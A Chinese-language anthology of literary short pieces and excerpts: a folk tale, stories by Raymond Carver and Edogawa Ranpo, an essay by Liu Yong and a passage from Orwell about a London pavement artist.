　　国王一筹莫展，只好去打猎散心。他射中一只野兔，以为可以抓到它了，可没想到，野兔一瘸一拐地逃走了。国王便在后面追了过来，把随从都甩在后边老远。追到一处野地，国王听见有人在哼着乡村小调。国王停下来，想：这么唱歌的人一定是个快乐的人！就寻着歌声钻进了一座葡萄园，在葡萄藤下他看到一个小伙子边摘葡萄边唱着歌。

　　"您好，陛下，"小伙子说："您这么早就到乡下来了？"

　　"好小伙子，你愿意让我把你带到京城吗？你可以做我的朋友。"

　　"啊，啊，陛下，不愿意，我一点也不想去，谢谢您。就是让我做教皇我也不愿意。"

　　"那是为什么，像你这样一个棒小伙子……"

　　"不，不，跟您说实话吧，我觉得现在的生活很快乐，我很满足。"

　　国王想：我总算找到了一个幸福的人啦！"年轻人，你帮我一个忙吧。"

　　"陛下，只要我能做到，我会全力以赴的。"

　　"你先等等。"国王欣喜若狂，跑着去叫那些随从："快过来！快过来！我的儿子有救了！我的儿子有救了！"然后他把随从们都带到了小伙子这里，说："好小伙子，你想要什么我都会给你！但你给我，给我……"

　　"什么东西，陛下？"

　　"我的儿子就要死了，只有你能救他。来，你过来！"国王抓住快乐小伙子，解开他外衣的扣子。突然，国王僵住了，手耷拉了下来。

　　这个快乐的人没有衬衫。

小偷

雷蒙德 · 卡佛

　　他第一次注意到那位年轻女孩时，他正在出售机票的柜台边等候。她光亮的头发在脑后梳成一个髻——那男人想像它放下来披散在她小小的背后的样子——并在穿着皮衣的肩上，挂着一个沉重的黑皮包。他设法一睹她的面貌——她排在他前面——但直到她买好票，转身离去时，他才见识了她的美貌，她脸色苍白、双眸漆黑、嘴唇丰满，她的美使他心跳加快。她似乎知道他在瞪着她看，所以突然将目光下移。航空公司职员打断了他。那男人只好不再看——他猜她大概廿五岁吧——买了一张到东部某城市的二等舱来回票。他的飞机一小时后起飞，为了赶时间，他走进机场的一间鸡尾酒吧，点了一份加水威士忌，然后一边啜着酒，一边看着候机室川流不息的人潮，其中有不少他认为还是待字闺中的美丽少女，穿着流行杂志上的服饰。后来，他又看见了那个穿皮衣的黑发少女，正站在服务台附近，和另一名穿着滚灰毛巾边外套的金发少女谈得很入神。他很想在她搭机飞往她要去的地方之前，吸引她的注意，好请她一起喝杯酒，但他又想到，即使她朝他这边看，酒吧间的阴影可能也很难让她看见他。过了一下子，她们两个分手了，但没有一个朝他这边走过来。他叫了第二杯加水威士忌。下一次见到她的时候，他正准备买本杂志在飞机上看，他觉得有人挤着他。起初他很奇怪为什么有人这么挨近他，但一看到是谁以后，便露出了笑容。

　　“生意真好。”

　　他说。她抬头看看他——她脸红了吗？——她嘴角泛上一抹怪异的笑，稍纵即逝。她从他身边移开，走入候机室的人潮中。那男人拿着杂志站在柜台边，伸手去掏后面口袋的皮夹时，发现皮夹不见了。我会是在哪儿掉了呢？他想。他脑中开始列出皮夹中的东西：信用卡、现金、会员卡和身份证件；他的胃中翻搅着类似害怕的情绪。那女子那么靠近我，他这么想，并且立刻想到了是她扒走了他的皮夹。他该怎么办？他的机票还在，安稳地放在西装里面的口袋——他伸手进去摸一下那个信封，确定还在。他可以搭这班飞机，抵达目的地后，打个电话叫人来接他——因为他连搭公共汽车的钱都没有——然后处理完事情，再回家。但是现在，他必须得先处理一下遗失的信用卡——打电话回家，叫他太太从书桌的最上面一个抽屉里找出电话号码，再打电话与各个公司联系——好麻烦啊，这整件事简单直令人窒息。他该怎么办？首先：找个警察，告诉他发生了什么事，描述那名年轻女子的样子。她真该死，他想，装出那注意到他的样子，站得靠他那么近，还在他说话时，脸红得那么漂亮——这一切竟然只是为了扒他的钱。她的脸红并不是害羞，而是担心被识破，这点最令他受不了。该死的骗人的动物。他将对警察隐瞒一些细节，只告诉他她做了什么，皮夹里有些什么东西。他咬紧牙根，他可能再也看不到那个皮夹了。那黑发女子再度出现在他的视线里时，他吓了一跳，而又非常高兴，考虑着是不是应该就近告诉站在X光机附近的警卫。她背对着候机室前面的窗户坐着，计程车和私家车在她身后逐渐聚拢的暮色中缓缓移动。她似乎正全神贯注地读一本书。她旁边有个空位，于是那男人走过去坐下。

　　“我一直在找你。”

　　他说。她看着他，一点儿都不认得他的样子。

　　“我不认识你。”

　　她说。

　　“你当然认识。”

　　她叹了口气，把书摆到一边。

　　“这就是你们这些人的想法——像捡拾迷途的动物一样捡女孩子吗？你以为我是什么？”

　　“你扒走了我的皮夹。”

　　他说，并且为他用了“扒走”这个字而沾沾自喜，认为比偷、窃，甚至抢字，更口语化。

　　“你说什么？”那女子说。

　　“我知道你做了——在杂志摊那边。如果你把它交还给我，这件事就算了，否则，我就把你交给警察。”她神色凝重地端详他。

　　“好吧。”

　　她说，然后从她腿上的黑包包里拿出一个皮夹。他接过来。

　　“等一下，”他说：“这不是我的。”

　　那女子跑了，他在后面追，就像电影里的画面一样——旁观的人四散躲避，那女孩闪来躲去，以免撞到人，他沉重的呼吸声提醒他，他已经老了——后来，他忽然听见后面有个女人在叫：“站住，小偷！抓住那个人！”他前面那个黑发女子不见了，这时有个穿海军装的年轻女子伸脚绊倒他，他重重地摔了一跤，膝盖和手肘都重跌在候机室的瓷砖地板上，但还是紧紧抓住那个不是他的皮夹。那是个女用皮夹，里面塞满了钱以及各种信用卡，而皮夹的主人是那个穿着滚毛边外套的金发女郎——那个稍早前他看见和黑头发的女扒手说话的女人。她也是气喘吁吁的，身边还有个警察。

　　“就是他，”金发女郎说：“他扒走了我的皮夹。”

　　而他却无法向警察证明身份。两个星期后——困窘和愤怒已渐平息、家庭律师的钱也付了、家中的混乱也恢复了——早上的一个邮包寄回来了那个皮夹，没有附带任何解释。皮夹原封不动，钱一毛不少，所有的证件也都在。虽然事情过去了，那男人觉得他的后半辈子，看到警察都会不自在，在女人面前都会觉得羞愧。

不要累死你的爱

刘墉

　　从台北回纽约。

　　在出境大厅里看见一对情侣抱着痛哭，男孩子都排到验关了，却又跑回头，冲了过去，搂着女朋友哭。

　　好不容易，出了关，还看见他隔着玻璃对着女孩子喊：“求求你！别哭了！你再哭，我就不走了。”

　　接着是手提行李检查，见他一个劲地擦眼泪，差点把照相机忘在检查站。

　　上飞机，居然那么巧，他就坐在我旁边。

　　他不哭了，可是眼睛还有点红。张着红红的双眼，跟空中小姐要了杯饮料，又要了一包坚果，不断往嘴里送，还一个劲地朝机窗外张望。大概想再看爱人一眼。

　　飞机起飞了，是进餐时间，他居然要了两次香槟，把东西吃得一干二净。

　　“你的胃口真好。”空中小姐幽了他一默。

　　“是啊！”男孩子居然笑嘻嘻的答，“还有没有？我还能吃。”

　　我也对他一笑：“刚才在机场，看你挺激动，依依不舍，是未婚妻？”

　　“噢！”他脸红了一下，“是女朋友。不好意思，被你看见了。‘

　　“好点了吗？”我关心的问。

　　他居然哈哈一笑：“好太多了！”隔了几秒钟，双耸耸肩，“哎呀！爱得累死了，走的时候是伤心、是舍不下，但是真走了，倒好像放下个大包袱，从没这么轻松过。”

　　“我最恨人请客，尤其是恨那种不但请我，还派车准时来接我的人。”一个商界的大老板对我说。

　　“天哪！你真没良心。”

　　“是啊！我也知道，我是不知好歹，没良心！可是没办法。”他摊摊手：“那些人以为他们是对我好，哪儿知道，反而增加我的心理负担。”

　　“为什么？”我问他。

　　“因为平常我就算自己告诉自己可以准时五点半下班，可是看看这个摸摸那个，一拖就是六点半，如果事情还没弄完，就再往下拖，反正老婆孩子可以先吃。但是，”他眼一瞪，“朋友约就不成啦！尤其车在外面等，就算他说不急，我可心里急啊！结果死命赶，一堆事没弄完，整个晚上心都不安。所以，我常一边赶，一边骂那些热情的朋友：有一天，我出了错，垮了，全是你们害的！”

　　老同学，夫妻又吵架了，原因居然是“分枣”，多稀奇啊！好像“孔融让梨”的故事。

　　“有人送我们一包北京带来的新鲜枣子，又大又甜。”做丈夫的说，“我们先让孩子吃，规定一人吃两个，剩下的两个给爸爸妈妈。”

　　“是啊！”做太太的抢过话，“就那么几个枣儿，孩子最没良心，把大的、红的，都挑了，剩下两个最丑最小的给我们。”

　　“对！是最小最丑，结果我挑了其中最差的一个，不错吧！”指指老婆，“结果，她居然还不高兴，说话没良心。”

　　“什么没良心？”他太太睛一瞪眼，“你拿最小的就拿了吧！我又不是瞎子，何必拿了之后还说呢？好像对我邀功，表示多大的恩典似的。你怎不想想，我偷偷把多少好东西让给你，我怎么不说啊！”

　　那丈夫立刻跳动起来，指着老婆说：“你不是说了吗？你现在不是又说了吗？你当时不就这么回我的吗？”

　　《压力好大，移民少年六度寻短》

　　报上好大的标题。

　　内容是台中市一个十七岁少年，全家移民美国，父母工作辛苦，动不对就对儿子说：“我们都是为了你。”有时候父母忙累了，为晚上吃什么吵架，他息事宁人，就提议干脆吃麦当劳。可是吃完麦当劳，父母又要说：

　　“都是为了你，我们才吃麦当劳，你还有什么不满意的？”

　　这孩子实在受不了了。六度想自杀，有一次已经走到铁轨旁边，才被母亲拦下，并且趁暑假把他送回台北就医。

　　看这新闻，我心想，怎么看医生？医生又能怎么说呢？真正有问题的不是这孩子，是孩子的父母啊！

　　多年前，在台北成立了“青少年免费咨询商中心”，好多像这样，有问题，要自杀的孩子，都由父母陪着来跟我“聊聊”。

　　我带着孩子在里面谈，做父母的在外面等。

　　谈完，走出去，孩子原本已经轻松的眼神，碰上那焦躁的父母，立刻又变得不安。

　　“我们这么疼他、听他的！”“他真是没良心！”“他也不想想父母为他花了多少钱……”“我们太爱他了，把心都挖给他了……”

　　几乎每个孩子的父母，都在那“沉得像铅块”的眼神下，说出这些句子。

　　他们岂知道，如果他的孩子就要溺水，他们的这些话，也正像铅块，只可能让孩子沉得更快。

　　这世上最重的是什么？

　　不是金，也不是银，是爱！

　　爱是只能付出，不能问的。最伟大的爱，甚至在付出的时候，都应当避免让对方感觉，免得增加对方的负担。

　　爱一个人，多像为他准备一个旅行的背包啊！要考虑他的需要，为他准备足够的东西，又得小心背包太重，重得他背不起来；就算他背得起来，也走不远。

　　为了走远，他甚至得一路扔，扔掉你的爱。

　　想起飞机上那个男孩子的话：

　　“爱得累死了……真走了，倒好像放下个大包袱……”

　　于是，我想到一句意味深长的话：

　　“不要累死你的爱！”

一个特立独行的人

乔治 · 奥威尔

　　第二天上午我们又去找帕迪的朋友，名叫博佐，是个马路画家——即人行道画家。帕迪的脑子里没有地址概念，可是他模模糊糊知道去兰贝斯区有可能找到博佐，结果我们在河堤路上碰见了他，离滑铁卢不远，当时他拿着一盒粉笔跪在人行道上，正在临摹廉价笔记本上一幅温斯顿•丘吉尔速写，很像。博佐是个小个子，肤色黑，鹰钩鼻子，一头卷发挺长。他左腿畸形得很厉害，脚扭着，后脚根到了前面，看着很吓人。他的外表让人觉得他是个犹太人，他却经常极力否认，说他的鹰钩鼻子是“罗马式”的，并为自己长得像一位罗马皇帝而自豪——我想是韦斯巴芗吧。

　　博佐的说话风格奇怪，有伦敦土腔，不过很是简明扼要，富于表现力，看样子读过不少书，可是从来懒得修正自己的语法。有一阵子，我和帕迪在河堤路上待了一阵子，一起聊天，博佐给我们谈了街头画家这一行。我多少用他自己的话重述如下：

　　“我是所谓的严肃街头画家。我不像别人那样用粉笔，而是用合适的颜色，像画油画的那样，真他妈贵，特别是红色。白天画得久时，能花五先令的颜料，从来不少于两先令的。我专画漫画——你知道，政治、板球什么的，你看，”他给我看了他的笔记本，“所有政治人物的画像全在这儿，我从报纸上临摹的。我每天画的漫画都不一样，比如在讨论预算案时，我画温斯顿在使劲推一头标着‘债务’的大象，下面我写上：‘他能推过去吗？’明白了吗？你可以画关于任何一党的漫画，但是一定不能画拥护社会主义的，因为警察不会容忍。有一次，我画了幅漫画，一条标着‘资本’的大蟒蛇正在吞下一只标着‘劳工’的兔子。条子过来看到了，他说：‘给我擦掉，放机灵点儿。’他说。我只得把它擦掉了。条子有权说你游手好闲把你抓走，跟他们理论没啥好处。”

　　我问博佐在马路上作画能挣多少钱，他说：

　　“一年里的这时候，不下雨的话，我星期五和星期六挣三镑左右——你知道，人们是星期五发工资。碰到下雨没法干活，颜料马上就会被冲走。一年到头，我一星期平均挣一镑左右，因为冬天里干不了多少活。赛艇日还有足总杯决赛时，我一天挣过四镑。可是你得从他们身上挤出来，你知道。如果你只是坐着看他们，就一个先令也挣不到。人们一给经常是半便士，可是除非你跟他们聊天，否则连半便士都挣不到。你搭话他们一旦接了腔，不给你一点儿就会觉得不好意思。最好的做法是经常画不同的画，因为他们看到你画，会停下来看你。问题是，你一转身拿出帽子，那些混蛋马上就散开了。干这行真的需要有帮忙的。你一直画，吸引一群人来看你画，帮忙的装得随随便便，兜到他们后头，他们不知道他是帮忙的，然后他突然取下帽子，你们就两股火力把他们堵住了。永远别想从真正的有钱佬那里得到一点，主要是从穿得破破烂烂的人们那里得到的，还有外国人，我甚至从日本佬、黑鬼什么的那里得到过半先令，他们不像英国人那样他妈的小气。还有一件事得记着，要一直把钱藏着，只在帽子里放上一点钱，一便士吧。人们要是看到你已经有了一两个先令，就一点也不会给你。”

　　博佐特别看不上河堤路上别的马路画家，称他们是“蹩脚货”。当时在河堤路上，几乎每隔二十五码就有位马路画家——二十五码是公认的最小地盘。博佐不屑地指着五十码外的一个白胡子马路画家。

　　“你看到那个老笨蛋吗？他每天都画同样一幅画，已经画了十年，他给画起的名字叫《忠友》，是一条狗从水里拖出一个小孩。那个又老又笨的混蛋画得根本不比一个十多岁的小孩强多少。他是画得多了，才只学会画那一幅画，就像拼好一副拼板玩具。附近这种人很多，我倒是无所谓，那些笨蛋自己什么也想不出，所以我总是领先他们。一句话，画漫画，得有时事性。一回有个小孩的头卡在切尔西桥上的栏杆里，嗨，我听说了，他们还没把那个小孩的头弄出栏杆呢，我的漫画就出来了。反应快，我就是。”

　　博佐像是个有趣的人，我很想跟他多见几次面。那天晚上，我去河堤路见他，因为他说好带我和帕迪去河南面的一间寄宿舍。博佐洗掉了人行道上他作的画，数了数收入——有十六先令左右，他说其中十二三先令是赚头。我们走着去了兰贝斯区，博佐一瘸一拐地慢慢走，步态怪怪的，像螃蟹那样，有点往一侧歪着。他一只手拄一根拐杖，颜料箱挂在肩膀上。我们过桥时，他在一个凹处停下来歇一下。他一两分钟没说话，我吃惊地看到他在看星星。他碰碰我的胳膊，用拐杖指着天空。

　　“哎，你看毕宿五（金牛座中最亮的一颗星）！看那颜色，像他妈一个大橘子！”

　　从他的谈吐来看，他应该是某间画廊的美术评论家才对。我感到震惊。我承认我不知道哪颗是毕宿五——真的，我也从来没注意到星星的颜色不一样。博佐开始指着主要的星座，跟我讲一些天文学基本知识，他好像操心我的无知。我惊讶地跟他说：

　　“你好像对星星懂得挺多嘛。”

　　“不算特别多，倒是知道一点点。皇家天文家学会给我写过两封信，感谢我写去关于流星的信。星星是免费演出，用眼睛看就行，一个子儿都也不用花。”

　　“真是个好主意！我从来没想到过呢。”

　　“咳，你得有一样兴趣。一个人到处流浪，不一定就非得除了一杯茶、两片面包，别的什么都不想。”

　　“可是过着这种日子，岂不是很难对有些事情感兴趣，比如星星什么的？”

　　“当马路画家，你是这个意思吧？不一定，它不会把你变成一只操蛋的兔子——也就是说，你注意的话就不会。”

　　“好像对大多数人都有影响。”

　　“当然，看看帕迪吧——一个贪喝茶的老乞丐，就配捡烟头，他们多数人就是那样，我瞧不起他们。可是你没必要变成那样，你要是受过教育，就算从此流浪一辈子也没关系。”

　　“咳，我发现恰恰相反，”我说，“我看你要是把一个人的钱拿走了，马上他干什么都一无是处。”

　　“不，不一定。你要是下了决心，就能过着同样的生活，不管有钱还是没钱。你可以继续看你的书，保持你的想法，只用对自己说：‘我在这儿是个自由的人。’”他敲敲自己的额头。“你就会过得挺好。”

　　博佐就这一话题又谈了一些，我听得专心。他看来是个很不一般的街头画家，另外，我也是头一次听别人坚持认为贫困没关系。后来几天里，我跟他见面很多，有几次下雨了，他没法工作。他跟我讲了他的人生历程，他这一辈子可谓奇特。

　　他父亲是个破了产的书商，他十八岁就工作了，当房屋油漆工，然后打仗时，去法国和印度服役三年，之后又在那里待了几年。和英国比起来，法国更适合他（他鄙视英国人），他还跟一个法国姑娘订了婚。有一天，那个女孩被公共汽车轧死了。博佐酗酒一周，然后又去干活，身体很虚弱。就在当天上午，他上脚手架上干活时摔了下来，摔到四十英尺下面的人行道上，把左脚摔成了粉碎性骨折。不知为何，他只得到六十英镑赔偿。他回到英国，把钱都花到了找工作上，在米德尔塞克斯街市场卖过书，然后端过托盘卖玩具，到最后干起了街头画家。打那以后他生活拮据，整个冬天饥一顿饱一顿，经常睡在临时收容所或者河堤路上。我认识他时，他的全部财产，只有身上穿的衣服、他的画具还有几本书。衣服是一般乞丐穿的那种破衣服，倒是围了条硬领，打了根领带，他很为之自豪。硬领有一年多了，挨着脖子的地方老是“绽线”，博佐从他衬衫后衣摆那里剪下布片来补，搞得那件衬衫几乎不剩什么后摆了。他那条残废腿的毛病越来越严重，也许不得不截肢，他的膝盖因为跪在石头地上，老茧有鞋底那么厚。就他而言，显然没什么未来，除了去当乞丐，最后死于济贫院。

　　尽管这样，他既不害怕，也不后悔，不以为耻，也不自悲自怜。他早就正视自身处境，并为自己总结出了一套哲学。他说，当乞丐不是他的错，他根本不在乎，也不会为此烦恼。他与社会为敌，瞅到好机会，完全会做出犯法之举。他不愿节俭，并以此为原则。夏天时，他一点钱也不存，多挣的全花到喝酒上，因为他对女人没兴趣。如果到了冬天他一文不名，那么社会必定得管他，他有备而来，会尽量从慈善机构那里能多得一便士就多得一便士，前提是别指望他会为此说谢谢。但是他不沾惹宗教性慈善机构，因为他说他就是不乐意为吃面包去唱圣歌。他还把别的很多方面看得事关荣誉，比如，他吹嘘说他从来没捡过烟头，就算饿肚子时也不曾。他自认比一般乞丐之流高上一等，说那些乞丐都是可怜鬼，甚至没骨气做到不领情。

　　他法语说得马马虎虎，读过左拉的几本小说、莎士比亚的全部剧作、《格列佛游记》和一些随笔。在描述自己的奇特经历时，他有能耐说得让人一听难忘，比如在说到葬礼时，他跟我说：

　　“你见过烧尸体吗？我见过，在印度。他们把一个老家伙放到火堆上，马上简直把我吓得魂飞魄散，因为他的脚踢了起来，那只不过是因为他的肌肉受热收缩而已——可还是把我吓得够戗。对了，他扭了一会儿，就像澳洲土著走过热煤块那样，接着他的肚子鼓起来爆掉了，砰的一声，隔着五十码都能听到。这次经历，彻底让我反对火化。”

　　要么关于他出的事故，也是这般生动：

　　“医生跟我说：‘你摔的时候是一条腿先着地，伙计，够他妈幸运。’他说，‘因为你要是两条腿一齐着地，你可就像他妈的一台六角手风琴一样玩完了，你的大腿骨会从你的耳朵那里捅出来！”

　　这显然不是医生的原话，而是博佐自己的，他擅长遣词造句。他做到了保持头脑健全而且思维活跃，所以什么也不能让他向贫困屈服。他可能是衣衫褴褛，保暖不得，甚至食不果腹，然而只要他能读能想，并能观看流星，如他所言，在他自己看来，他是自由的。

　　他是个满腹怨气的无神论者（这种无神论者与其说是不信上帝，倒不如说是他个人讨厌上帝），也可以说乐于认为人类状况绝对无望改进。他说有时候他睡在河堤路上，让他感到安慰的是他仰视着火星或者木星，想到那里大概也有人睡在河堤路上。他对此有种古怪理论，他说地球上生活艰苦，是因为这个星球缺乏生活必需品。火星上面因为气候冷，水份不足，肯定还要远远贫乏得多，所以在那里生活相对更艰苦。在地球上，偷六便士只不过会被关起来，而在火星上，会把你活煮了。想到这里让博佐心情愉快，我则不明所以。他是个非常特立独行的人。

　　译

者：孙仲旭，摘自《巴黎伦敦落魂记》

人间椅子

江户川乱步

　　每天早上十点，目送丈夫去官署上班。之后，终于拥有属于自己的时间，于是佳子便把自己关进与丈夫共用的书斋。她目前正着手为 K 杂志的夏季特别号创作一部长篇。

　　佳子是个美丽的女性作家，这阵子声名鹊起，锋芒甚至盖过她外务省书记官的夫君。她几乎每天都收到好几封陌生仰慕者的来信。

　　今早亦然，她在书桌前坐下，开始工作前，得先浏览一遍那些陌生人士的信件。

　　尽管内容一成不变、乏善可陈，但出于女人的温柔体恤，无论什么样的信件，只要是寄给自己的，她都一定会读上一遍。

　　她从简单的处理起，看过两封信和一张明信片后，仅剩一个疑似稿件的厚重信封。这种不经照会便突然寄来稿子的情形，过去也时常发生，大部分都是冗长沉闷的，可是她想瞄一下标题，便拆了封，取出一沓纸。

　　不出所料，那是一沓装订成册的稿纸。然而不知何故，上面既无标题亦无署名，直接以“夫人”的称呼起首。怪了，那么这还是一封信喽？她心生纳闷，视线却已往下扫了两三行，这一看不打紧，内心隐约升起一股异常恐怖的预感。之后，禁不住好奇心的驱使，她不由自主地往下读。

　　夫人。

　　我与夫人素昧平生，此次冒昧去信，望乞海涵。

　　突然看到这样的内容，夫人肯定会吃惊不已，但我必须向您坦承至今犯下的种种不可思议的罪行。

　　几个月来，我完全从人间销声匿迹，过着真正形同恶魔的生活。当然，世界再广，也没有人知晓我的所作所为。若没有意外，或许我将不再重返人世。

　　然而，最近我的心情发生了奇异的变化，无论如何我都得为这不幸的境遇忏悔。光这么说，夫人一定诧异不解，所以，请务必读完这封信，如此便能理解我为什么会陷入这样的心境，又为什么特意要求夫人聆听这番忏悔之词。

　　好，我该从哪儿开始说呢？这事太过奇异，于是决定写下来给你。不过以这种人世间通行的交流方式，还挺让人不好意思的，于是书写过程中亦拖沓许多。但犹豫不决对事情本身也没多大帮助，总之我依序写来吧！

　　我是个天生的丑汉，请夫人千万牢记这一点。否则如果您答应我厚颜无耻的见面请求，让您在毫无准备的情况下看到我久经糜烂的生活愈发令人不忍卒睹的丑陋容貌，极度惊讶之下难保您不会有过激的反应，这我实在难以忍受。

　　我何其不幸啊！尽管相貌丑陋，心中却燃烧着不为人知的炽烈热情。我忘记本身怪物般的容颜，以及只是一介贫穷工匠的现实，憧憬着各式各样不自量力、甜美奢侈的“梦”。

　　如果我出生在更富裕的家庭，也许能借助金钱之力沉溺于五花八门的游戏之中，以便排遣这猥琐的形貌带来的悲伤。或者，如果我更有艺术天分，便能通过美丽的诗歌忘却人世的乏味。只是悲哀的我，不具丝毫天赋奇才，仅为一可怜的家具工匠之子，靠继承父亲的工作维持生计。

　　我擅长打造椅子，成品连最挑剔的客户都满意，因此受到老板特别器重，总是交给我高级订单。那些订单不是靠背或扶手部分的雕刻要求特别复杂，就是对坐垫弹性及各部位尺寸有微妙的偏好，制作者耗费的苦心，外人实在难以想象。但付出的心血越大，完工时的喜悦越是无与伦比。这么比喻或许有些狂妄，但我想应该近似艺术家完成杰作时的心境。

　　每把椅子完工后，我会先试坐，无趣的工匠生活中，唯独这个时候才有说不出的得意和满足。日后坐在这把椅子上的将是多高贵的绅士，或多美丽的淑女？既然如此大手笔定做，那户人家肯定有足以匹配这把椅子的豪侈的房间吧。墙上想必挂着名家的油画，天花板悬吊着气势恢宏的、如宝石般璀璨的水晶灯，地上则铺着名贵的地毯。然后，和椅子配套的桌上，一定绽放着香气馥郁、夺人眼球的西洋花草。我浸淫于这样的幻想，感觉自己好像成了那豪华房间的主人。虽然只有短短一瞬，但我沉溺在这莫名愉快的心境里。

　　我虚渺的妄念变本加厉，似无止境。这个我——贫穷、丑陋、区区一介工匠的我——在空想世界中化身为优雅的贵公子，坐在亲手制作的奢华椅子上。总是现身梦中的漂亮女子娇羞地微笑着，乖巧地坐在一旁聆听我说的每一句话，甚至与我十指交握，彼此呢喃着爱的甜言蜜语。

　　然而，无论何时，我这乐陶陶的粉色美梦总是被一阵邻家大婶的刺耳话声，或附近病童歇斯底里的哭叫声打破，丑恶的现实又在我面前展露出灰色的身躯，回到现实，看见与梦中贵公子毫无共同之处、丑陋得可悲的自己，哪儿还有方才那个可人儿的倩影？附近一天到晚累得灰头土脸的小保姆，都不屑看我一眼。只有我精心制作的椅子孤零零呆立原地，仿若美梦的残骸碎片。可就连这把椅子，不久后也将搬到截然不同的另一个世界去，不是吗？

　　于是，每完成一张椅子，一股无法言表的空虚便油然而生。那难以形容、叫人深恶痛绝的心情，随着时间一天天流逝，逐渐积累到让我无法承受的地步。

　　“与其过着这如蝼蚁般的日子，不如死掉算了。”我认真考虑起来，即使在工场埋头敲着凿子、打着钉子，或搅拌气味刺鼻的涂料时，也在执拗地思索着。“可是，且慢，既然有一死了之的决心，难道没其他办法吗？例如……”我的思绪渐渐偏离常轨。

　　恰巧那时接到一份订单，客户指定我制作从未尝试过的大型皮革扶手椅。这批椅子要送到同在 Y 市的一家外国人经营的饭店，原本他们习惯直接由本国运送家具过来，但雇用我的老板从中斡旋，说日本有手艺不输舶来品的工匠，才拿下这次的单子。由于机会得来不易，我废寝忘食地投入制作工作，真的是呕心沥血、全神贯注。

　　看着完成后的椅子，我感到前所未有的满足，觉得简直完美得叫人着迷。一如往常，我将四把一组的椅子搬出一把，放到采光良好的木地板房间，安然坐下。椅子坐起来多么舒服啊！蓬蓬松松、软硬适中的坐垫，故意不染色、直接以原色贴上的灰皮革的触感，维持适度倾斜、轻轻托起背脊的丰满靠背，描绘出细致曲线、饱满鼓起的两侧扶手，一切都是如此完美调和，浑然天成地呈现“安乐”这个词汇的实际内涵。

　　我深深坐进椅子里，爱抚着浑圆的扶手，陶醉其中。于是我的老毛病发作了，空想源源不绝地带着虹彩般瑰丽耀眼的颜色涌现。那是幻觉吗？由于心中所念过于清晰，我甚至开始担心自己是不是疯了。

　　这时，我脑中忽然冒出一个妙计。所谓恶魔的呢喃，大概就是指这样的事吧！尽管如梦般荒唐无稽、骇人无比，但仍有一种难以抗拒的魅力蛊惑着我。

　　起初，我只是不想和精心打造的美丽椅子分开，假如可以，我愿随它去天涯海角，当我迷迷糊糊地伸展梦想的羽翼时，不知不觉竟与平素在胸中发酵的某个异常念头联结。啊，我是个多么可怕的疯子啊！居然考虑实践这古怪的异想。

　　我连忙拆毁四把椅子中自己觉得最为完美的一把，重新修整，以实践那超乎常理的计划。

　　那扶手椅相当大，坐垫以下部分做成箱体支撑，替代四条椅腿外部用皮革包覆，此外，靠背和扶手亦十分厚重，内部各个部件的空间是连通的，即使藏进一个人，外面也绝对看不出来。当然，支撑椅内的是结实的木框，并搭配多枚弹簧以达到舒适的目的。但我适当改造一番，腾出空间，使坐垫部分容得下腿部、靠背部分容得下头部和身躯，只要仿照椅子的形状坐进去，便能潜伏其中。

　　这种加工是我的拿手绝活，我熟练地将椅子调整得便利十足。例如，为了呼吸和听见外面的声响，在皮革一角弄出不易察觉的空隙；靠背里侧、头部所在位置的旁边，则搭上一个储物的小架子，并塞进水壶和干粮，还装进一个大橡皮袋，以备不时之需。除此之外，还耗费了许多工夫，张罗得只要有粮食，就算在里头待上两三天，也绝不会给生命造成任何威胁。说起来，这张椅子等同于一间单人房。

　　我脱得只剩一件衬衫，然后打开底部出入口的盖子，钻进椅内。那感觉真是诡异非常，眼前一片漆黑，闷得几乎窒息，心情仿佛踏入坟墓。仔细想想，这确实是座坟墓，爬进椅子的同时，犹如披上隐身衣，从这人世间消失。

　　没多久，老板派伙计拉着大板车来搬运这四张扶手椅。我的徒弟（我和他住在这里）毫不知情地与小伙计寒暄。将椅子搬上车时，一名苦力埋怨道：“这家伙重得离谱。”我不禁吓一大跳，不过扶手椅原本就十分沉重，他们并没有特别怀疑。不一会儿，大板车喀啦啦的震动化成一种奇妙的触感，浸入我的身体。

　　我一路忧心忡忡，岂料装着我的扶手椅，当天下午便平安无事地落脚于饭店的某房间。后来我才知道，那并非私人房，而是个类似休息室的大厅，供顾客等候、看报、抽烟时使用，有许多人频繁出入。

　　夫人可能已经发现，我这古怪行动的首要目的，是趁四下无人的时候，溜出椅子，在饭店里徘徊行窃。有谁能想到世上还有这么荒唐的事——椅子里竟藏着一个人？我能像影子般自由出入每个房间，引起骚动后，只需逃回椅中那个秘密基地，屏气凝神地观赏大伙愚蠢的搜索行动。夫人知道海边有种寄居蟹吗？外表极似大蜘蛛，没人时就神气地横行霸道，可是一听到脚步声，便以快得惊人的速度躲回壳内，露出恶心的毛茸茸的前脚，窥视敌方的动静。我就好比寄居蟹，虽无外壳，但有椅子这隐蔽的巢穴，我不是在海边，而是在饭店里昂首阔步。

　　我这计划因异想天开的神来之笔，出乎意料地十分成功。抵达饭店第三天，我便狠狠大捞了一笔。下手偷窃时紧张又享受的心情，顺利得手时难以言喻的喜悦，观看众人在我眼前嚷嚷着“他逃到那边”、“他跑去哪里”的滑稽好笑。啊，凡此种种都充满不寻常的魅力，令我深深着迷。

　　遗憾的是我无暇细细陈述，之后我发现了比盗窃愉快十几二十倍的新奇娱乐。而坦白这件事，才是我写这封信的真正用意。

　　一切要回到当初，从我的椅子摆在饭店休息室时讲起。

　　椅子送到后，饭店的老板都来试坐，接下来却一片静悄悄，没半点声响。房里应该没人，但刚到就离开椅子实在太冒险，我鼓不起勇气。非常漫长的一段时间（或许那只是我的感觉）,我全部神经都集中在耳朵上，不漏掉任何动静，专注地聆听周围的情况。

　　过了一会儿，走廊里隐约传来一阵沉重的脚步声，来到距椅子前两三间远的地方，脚步声就消失了，只剩下低沉的摩擦声，大概是房间里铺着地毯的缘故吧！很快，一阵男性粗重的鼻息靠近，我正在吃惊，一个似乎是西洋人的庞大身躯已一屁股落在我膝上，还轻轻弹了两三下。隔着一层薄薄的皮革，我的大腿和那名男子结实壮硕的臀部几乎鱼水交融地紧紧贴在一起。他宽阔的肩膀正好靠在我的胸膛上，厚重的双掌透过皮革扶手与我的手重叠。然后他抽起雪茄，一股丰盈的男性体香飘进皮革间隙。

　　夫人，请站在我的立场想象一下，那情景是多么荒诞离奇。由于过度恐惧，我在黑暗中僵着身子，腋下不停冒冷汗，脑袋里一片空白。

　　从那男子一屁股坐下开始，之后一整天不断有形形色色的顾客轮流坐在我膝上，却没人发现我在椅子里。谁都没察觉他们深信是柔软坐垫的东西，其实是人类有血有肉的大腿。

